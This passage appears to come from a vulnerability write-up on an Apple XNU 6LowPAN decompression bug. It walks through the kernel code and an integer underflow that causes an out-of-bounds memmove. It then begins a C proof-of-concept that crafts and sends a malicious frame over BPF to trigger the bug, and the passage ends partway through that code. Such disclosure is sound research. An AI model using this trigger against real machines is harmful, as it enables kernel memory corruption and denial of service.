	 * TO DO: fragmentation
	 */</span>

<span class="nl">done:</span>
	<span class="k">return</span> <span class="n">error</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The payload is then uncompressed:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">errno_t</span>
<span class="nf">sixxlowpan_uncompress</span><span class="p">(</span><span class="k">struct</span> <span class="n">frame802154</span> <span class="o">*</span><span class="n">ieee02154hdr</span><span class="p">,</span> <span class="n">u_int8_t</span> <span class="o">*</span><span class="n">payload</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">long</span> <span class="n">hdroffset</span><span class="p">;</span>
	<span class="kt">size_t</span> <span class="n">hdrlen</span><span class="p">;</span>
	<span class="n">u_int8_t</span> <span class="n">hdrbuf</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
	<span class="n">errno_t</span> <span class="n">error</span><span class="p">;</span>

	<span class="n">bzero</span><span class="p">(</span><span class="n">hdrbuf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hdrbuf</span><span class="p">));</span>
	<span class="n">hdrlen</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hdrbuf</span><span class="p">);</span>

	<span class="n">error</span> <span class="o">=</span> <span class="n">uncompress_hdr_hc1</span><span class="p">(</span><span class="n">ieee02154hdr</span><span class="p">,</span> <span class="p">(</span><span class="n">u_int8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">payload</span><span class="p">,</span>
	    <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hdroffset</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hdrlen</span><span class="p">,</span> <span class="n">hdrbuf</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">error</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">return</span> <span class="n">error</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">hdroffset</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="cm">/*
		 * hdroffset negative means that we have to remove
		 * hdrlen of extra stuff
		 */</span>
		<span class="n">memmove</span><span class="p">(</span><span class="o">&amp;</span><span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
		    <span class="o">&amp;</span><span class="n">payload</span><span class="p">[</span><span class="n">hdrlen</span><span class="p">],</span>
		    <span class="n">ieee02154hdr</span><span class="o">-&gt;</span><span class="n">payload_len</span> <span class="o">-</span> <span class="n">hdrlen</span><span class="p">);</span>
		<span class="n">ieee02154hdr</span><span class="o">-&gt;</span><span class="n">payload_len</span> <span class="o">-=</span> <span class="n">hdrlen</span><span class="p">;</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="cm">/*
		 * hdroffset is the size of the compressed header
		 * -- i.e. when the untouched data starts
		 *
		 * hdrlen is the size of the decompressed header
		 * that takes the place of compressed header of size hdroffset
		 */</span>
		<span class="n">memmove</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="n">hdrlen</span><span class="p">,</span>
		    <span class="n">payload</span> <span class="o">+</span> <span class="n">hdroffset</span><span class="p">,</span>
		    <span class="n">ieee02154hdr</span><span class="o">-&gt;</span><span class="n">payload_len</span> <span class="o">-</span> <span class="n">hdroffset</span><span class="p">);</span>
		<span class="n">memcpy</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">hdrbuf</span><span class="p">,</span> <span class="n">hdrlen</span><span class="p">);</span>
		<span class="n">ieee02154hdr</span><span class="o">-&gt;</span><span class="n">payload_len</span> <span class="o">+=</span> <span class="n">hdrlen</span> <span class="o">-</span> <span class="n">hdroffset</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Looking at the uncompression function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="cm">/*--------------------------------------------------------------------*/</span>
<span class="cm">/**
 * \brief Uncompress HC1 (and HC_UDP) headers and put them in
 * sicslowpan_buf
 *
 * This function is called by the input function when the dispatch is
 * HC1.
 * We %process the packet in the packetbuf buffer, uncompress the header
 * fields, and copy the result in the sicslowpan buffer.
 * At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len
 * are set to the appropriate values
 *
 * \param ip_len Equal to 0 if the packet is not a fragment (IP length
 * is then inferred from the L2 length), non 0 if the packet is a 1st
 * fragment.
 */</span>
<span class="n">errno_t</span>
<span class="nf">uncompress_hdr_hc1</span><span class="p">(</span><span class="k">struct</span> <span class="n">frame802154</span> <span class="o">*</span><span class="n">frame</span><span class="p">,</span> <span class="n">u_int8_t</span> <span class="o">*</span><span class="n">payload</span><span class="p">,</span>
    <span class="kt">uint16_t</span> <span class="n">ip_len</span><span class="p">,</span> <span class="kt">long</span> <span class="o">*</span><span class="n">hdroffset</span><span class="p">,</span> <span class="kt">size_t</span> <span class="o">*</span><span class="n">hdrlen</span><span class="p">,</span> <span class="n">u_int8_t</span> <span class="o">*</span><span class="n">hdrbuf</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">ip6_hdr</span> <span class="o">*</span><span class="n">ip6</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">ip6_hdr</span> <span class="o">*</span><span class="p">)</span><span class="n">hdrbuf</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_DISPATCH</span><span class="p">]</span> <span class="o">==</span> <span class="n">SICSLOWPAN_DISPATCH_IPV6</span><span class="p">)</span> <span class="p">{</span>
		<span class="o">*</span><span class="n">hdroffset</span> <span class="o">=</span> <span class="o">-</span><span class="n">SICSLOWPAN_IPV6_HDR_LEN</span><span class="p">;</span>
		<span class="o">*</span><span class="n">hdrlen</span> <span class="o">=</span> <span class="n">SICSLOWPAN_IPV6_HDR_LEN</span><span class="p">;</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="o">*</span><span class="n">hdroffset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="cm">/* version, traffic class, flow label */</span>
	<span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_flow</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_vfc</span> <span class="o">=</span> <span class="n">IPV6_VERSION</span><span class="p">;</span>

	<span class="cm">/* src and dest ip addresses */</span>
	<span class="n">uip_ip6addr_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_src</span><span class="p">,</span> <span class="mh">0xfe</span><span class="p">,</span> <span class="mh">0x80</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">uip_ds6_set_addr_iid</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_src</span><span class="p">,</span>
	    <span class="p">(</span><span class="n">uip_lladdr_t</span> <span class="o">*</span><span class="p">)</span><span class="n">frame</span><span class="o">-&gt;</span><span class="n">src_addr</span><span class="p">);</span>

	<span class="n">uip_ip6addr_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_dst</span><span class="p">,</span> <span class="mh">0xfe</span><span class="p">,</span> <span class="mh">0x80</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">uip_ds6_set_addr_iid</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_dst</span><span class="p">,</span>
	    <span class="p">(</span><span class="n">uip_lladdr_t</span> <span class="o">*</span><span class="p">)</span><span class="n">frame</span><span class="o">-&gt;</span><span class="n">dest_addr</span><span class="p">);</span>

	<span class="o">*</span><span class="n">hdrlen</span> <span class="o">=</span> <span class="n">UIP_IPH_LEN</span><span class="p">;</span>

	<span class="cm">/* Next header field */</span>
	<span class="k">switch</span> <span class="p">(</span><span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_ENCODING</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x06</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">case</span> <span class="n">SICSLOWPAN_HC1_NH_ICMP6</span><span class="p">:</span>
		<span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_nxt</span> <span class="o">=</span> <span class="n">IPPROTO_ICMPV6</span><span class="p">;</span>
		<span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_hlim</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_TTL</span><span class="p">];</span>
		<span class="o">*</span><span class="n">hdroffset</span> <span class="o">=</span> <span class="n">SICSLOWPAN_HC1_HDR_LEN</span><span class="p">;</span>
		<span class="k">break</span><span class="p">;</span>

	<span class="k">case</span> <span class="n">SICSLOWPAN_HC1_NH_TCP</span><span class="p">:</span>
		<span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_nxt</span> <span class="o">=</span> <span class="n">IPPROTO_TCP</span><span class="p">;</span>
		<span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_hlim</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_TTL</span><span class="p">];</span>
		<span class="o">*</span><span class="n">hdroffset</span> <span class="o">=</span> <span class="n">SICSLOWPAN_HC1_HDR_LEN</span><span class="p">;</span>
		<span class="k">break</span><span class="p">;</span>

	<span class="k">case</span> <span class="n">SICSLOWPAN_HC1_NH_UDP</span><span class="p">:</span>
		<span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_nxt</span> <span class="o">=</span> <span class="n">IPPROTO_UDP</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_HC_UDP_HC1_ENCODING</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x01</span><span class="p">)</span> <span class="p">{</span>
			<span class="k">struct</span> <span class="n">udphdr</span> <span class="o">*</span><span class="n">udp</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">udphdr</span> <span class="o">*</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">ip6</span><span class="p">;</span>

			<span class="cm">/* UDP header is compressed with HC_UDP */</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_HC_UDP_UDP_ENCODING</span><span class="p">]</span> <span class="o">!=</span>
			    <span class="n">SICSLOWPAN_HC_UDP_ALL_C</span><span class="p">)</span> <span class="p">{</span>
				<span class="n">printf</span><span class="p">(</span><span class="s">"sicslowpan (uncompress_hdr), packet not supported"</span><span class="p">);</span>
				<span class="k">return</span> <span class="n">EINVAL</span><span class="p">;</span>
			<span class="p">}</span>
			<span class="cm">/* IP TTL */</span>

			<span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_hlim</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_HC_UDP_TTL</span><span class="p">];</span>
			<span class="cm">/* UDP ports, len, checksum */</span>
			<span class="n">udp</span><span class="o">-&gt;</span><span class="n">uh_sport</span> <span class="o">=</span>
			    <span class="n">htons</span><span class="p">(</span><span class="n">SICSLOWPAN_UDP_PORT_MIN</span> <span class="o">+</span> <span class="p">(</span><span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_HC_UDP_PORTS</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span><span class="p">));</span>
			<span class="n">udp</span><span class="o">-&gt;</span><span class="n">uh_dport</span> <span class="o">=</span>
			    <span class="n">htons</span><span class="p">(</span><span class="n">SICSLOWPAN_UDP_PORT_MIN</span> <span class="o">+</span> <span class="p">(</span><span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_HC_UDP_PORTS</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x0F</span><span class="p">));</span>

			<span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">udp</span><span class="o">-&gt;</span><span class="n">uh_sum</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_HC_UDP_CHKSUM</span><span class="p">],</span> <span class="mi">2</span><span class="p">);</span>
			<span class="o">*</span><span class="n">hdrlen</span> <span class="o">+=</span> <span class="n">UIP_UDPH_LEN</span><span class="p">;</span>
			<span class="o">*</span><span class="n">hdroffset</span> <span class="o">=</span> <span class="n">SICSLOWPAN_HC1_HC_UDP_HDR_LEN</span><span class="p">;</span>
		<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
			<span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_hlim</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="n">PACKETBUF_HC1_TTL</span><span class="p">];</span>
			<span class="o">*</span><span class="n">hdroffset</span> <span class="o">=</span> <span class="n">SICSLOWPAN_HC1_HDR_LEN</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="k">break</span><span class="p">;</span>

	<span class="nl">default:</span>
		<span class="cm">/* this shouldn't happen, drop */</span>
		<span class="k">return</span> <span class="n">EINVAL</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="cm">/* IP length field. */</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ip_len</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="n">frame</span><span class="o">-&gt;</span><span class="n">payload_len</span> <span class="o">-</span> <span class="o">*</span><span class="n">hdroffset</span> <span class="o">+</span> <span class="o">*</span><span class="n">hdrlen</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">ip6_hdr</span><span class="p">);</span>

		<span class="cm">/* This is not a fragmented packet */</span>
		<span class="n">SET16</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_plen</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="cm">/* This is a 1st fragment */</span>
		<span class="n">SET16</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_plen</span><span class="p">,</span> <span class="n">ip_len</span> <span class="o">-</span> <span class="n">UIP_IPH_LEN</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="cm">/* length field in UDP header */</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_nxt</span> <span class="o">==</span> <span class="n">IPPROTO_UDP</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">struct</span> <span class="n">udphdr</span> <span class="o">*</span><span class="n">udp</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">udphdr</span> <span class="o">*</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">ip6</span><span class="p">;</span>

		<span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">udp</span><span class="o">-&gt;</span><span class="n">uh_ulen</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ip6</span><span class="o">-&gt;</span><span class="n">ip6_plen</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We can observe the following with this function:</p>

<ol>
  <li>It expects that there will always be at least 40 bytes IPv6 header <code class="language-plaintext highlighter-rouge">*hdrlen</code> available within the mbuf.</li>
  <li>It does not expect the payload size to be less than the header.</li>
  <li>ip_len is always 0.</li>
</ol>

<p>If we ignore all the potential out of bound reads :), we can use this issue for the following out of bound writes:</p>

<ul>
  <li>An underflow in len leading to a huge value being passed to memmove (wild write).</li>
</ul>

<p>Therefore if we set the len of the frame received to be 0x4 we end up with the following values being calculated in <code class="language-plaintext highlighter-rouge">frame802154_parse</code>:</p>

<p><code class="language-plaintext highlighter-rouge">c</code> header length = 3
<code class="language-plaintext highlighter-rouge">frame-&gt;payload_len</code> = 1</p>

<p>We can then see that by setting <code class="language-plaintext highlighter-rouge">SICSLOWPAN_HC1_NH_UDP</code> we end up with the following values in <code class="language-plaintext highlighter-rouge">uncompress_hdr_hc1</code>:</p>

<p><code class="language-plaintext highlighter-rouge">*hdroffset = SICSLOWPAN_HC1_HDR_LEN;</code> i.e <code class="language-plaintext highlighter-rouge">*hdroffset = 3</code></p>

<p><code class="language-plaintext highlighter-rouge">*hdrlen = UIP_IPH_LEN;</code> i.e. <code class="language-plaintext highlighter-rouge">*hdrlen = 40</code></p>

<p><code class="language-plaintext highlighter-rouge">sizeof(struct ip6_hdr) = 40</code></p>

<p>Therefore, when we return back to <code class="language-plaintext highlighter-rouge">sixxlowpan_uncompress</code> function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="cm">/*
		 * hdroffset is the size of the compressed header
		 * -- i.e. when the untouched data starts
		 *
		 * hdrlen is the size of the decompressed header
		 * that takes the place of compressed header of size hdroffset
		 */</span>
		<span class="n">memmove</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="n">hdrlen</span><span class="p">,</span>
		    <span class="n">payload</span> <span class="o">+</span> <span class="n">hdroffset</span><span class="p">,</span>
		    <span class="n">ieee02154hdr</span><span class="o">-&gt;</span><span class="n">payload_len</span> <span class="o">-</span> <span class="n">hdroffset</span><span class="p">);</span>
		<span class="n">memcpy</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">hdrbuf</span><span class="p">,</span> <span class="n">hdrlen</span><span class="p">);</span>
</code></pre></div></div>

<p>We have a write at payload + 40 (in the <code class="language-plaintext highlighter-rouge">mc</code> mbuf cluster, of data controlled by an attacker from the source payload buffer, of ieee02154hdr-&gt;payload_len - 3 = -2 length.</p>

<h2 id="poc-1---underflow">POC 1 - Underflow</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/***

Apple XNU 6LowPAN POC
Catalina 10.15.4

POC 1: Wild memmove trigger with an underflow. 

Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0

***/</span>

<span class="cp">#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/uio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/socket.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;arpa/inet.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;net/if.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;net/ethernet.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;net/bpf.h&gt;</span><span class="cp">
</span>
<span class="c1">// Set these to source and target </span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">dest_mac</span><span class="p">[</span><span class="n">ETHER_ADDR_LEN</span><span class="p">]</span>  <span class="o">=</span> <span class="p">{</span><span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">src_mac</span><span class="p">[</span><span class="n">ETHER_ADDR_LEN</span><span class="p">]</span>  <span class="o">=</span> <span class="p">{</span><span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">};</span>

<span class="k">struct</span> <span class="n">frame_t</span> <span class="p">{</span>
	<span class="k">struct</span> <span class="n">ether_header</span> <span class="n">header</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">payload</span><span class="p">[</span><span class="n">ETHER_MAX_LEN</span> <span class="o">-</span> <span class="n">ETHER_HDR_LEN</span><span class="p">];</span>
	<span class="kt">ssize_t</span> <span class="n">len</span><span class="p">;</span>
	<span class="kt">ssize_t</span> <span class="n">payload_len</span><span class="p">;</span>
<span class="p">};</span>

<span class="c1">// Open bpf device</span>
<span class="kt">int</span> <span class="nf">open_bpf_device</span><span class="p">()</span>
<span class="p">{</span>
	<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
	<span class="kt">int</span> <span class="n">bpf</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">99</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">sprintf</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="s">"/dev/bpf%i"</span><span class="p">,</span><span class="n">i</span><span class="p">);</span>
		<span class="n">bpf</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="n">O_RDWR</span><span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="n">bpf</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span> <span class="p">{</span>
			<span class="n">printf</span><span class="p">(</span><span class="s">"Opened device /dev/bpf%i</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
			<span class="k">break</span><span class="p">;</span> 
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">if</span><span class="p">(</span><span class="n">bpf</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Cannot open any /dev/bpf* device, exiting</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> 
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">bpf</span><span class="p">;</span> 
<span class="p">}</span>

<span class="c1">// Associate device</span>
<span class="kt">void</span> <span class="nf">assoc_dev</span><span class="p">(</span><span class="kt">int</span> <span class="n">bpf</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">interface</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">ifreq</span> <span class="n">bound_if</span><span class="p">;</span>
	<span class="n">strcpy</span><span class="p">(</span><span class="n">bound_if</span><span class="p">.</span><span class="n">ifr_name</span><span class="p">,</span> <span class="n">interface</span><span class="p">);</span>
	<span class="k">if</span><span class="p">(</span><span class="n">ioctl</span><span class="p">(</span> <span class="n">bpf</span><span class="p">,</span> <span class="n">BIOCSETIF</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bound_if</span> <span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Cannot bind bpf device to physical device %s, exiting</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">interface</span><span class="p">);</span>
		<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"Bound bpf device to physical device %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">interface</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Write trigger frame</span>
<span class="kt">void</span> <span class="nf">write_single_frame</span><span class="p">(</span><span class="kt">int</span> <span class="n">bpf</span><span class="p">)</span> 
<span class="p">{</span>
	<span class="kt">ssize_t</span> <span class="n">data_length</span> <span class="o">=</span> <span class="mi">32</span><span class="p">;</span>

	<span class="k">struct</span> <span class="n">frame_t</span> <span class="n">frame</span><span class="p">;</span>
	<span class="n">memcpy</span><span class="p">(</span><span class="n">frame</span><span class="p">.</span><span class="n">header</span><span class="p">.</span><span class="n">ether_dhost</span><span class="p">,</span> <span class="n">dest_mac</span><span class="p">,</span> <span class="n">ETHER_HDR_LEN</span><span class="p">);</span>
	<span class="n">memcpy</span><span class="p">(</span><span class="n">frame</span><span class="p">.</span><span class="n">header</span><span class="p">.</span><span class="n">ether_shost</span><span class="p">,</span> <span class="n">src_mac</span><span class="p">,</span> <span class="n">ETHER_HDR_LEN</span><span class="p">);</span>

	<span class="c1">//  802.15.4 frame type. </span>
	<span class="n">frame</span><span class="p">.</span><span class="n">header</span><span class="p">.</span><span class="n">ether_type</span> <span class="o">=</span> <span class="mh">0x908</span><span class="p">;</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">ETHER_ADDR_LEN</span><span class="p">)</span> <span class="o">+</span> <span class="n">ETHER_TYPE_LEN</span> <span class="o">+</span> <span class="n">data_length</span><span class="p">;</span>

	<span class="c1">// Length of frame - memcpy(&amp;len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>

	<span class="c1">// This is the start of the "data" passed to frame802154_parse and considered frame header </span>
	<span class="c1">// m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)</span>
	<span class="c1">// These are used for the FCF (no flags set)</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">// As none FCF are set p+=3 bytes. </span>
	<span class="c1">// header length</span>
	<span class="c1">// c = p - data;</span>
	<span class="c1">// c = 3</span>
	<span class="c1">// payload length</span>
	<span class="c1">// pf-&gt;payload_len = (4 - 3);</span>
	<span class="c1">// pf-&gt;payload_len = 1</span>

	<span class="c1">// This is the start of our payload passed to sixxlowpan_uncompress</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// SICSLOWPAN_HC1_NH_UDP</span>

	<span class="c1">// Just pad the frame with 'A'. </span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x41</span><span class="p">;</span>
    <span class="p">}</span> 

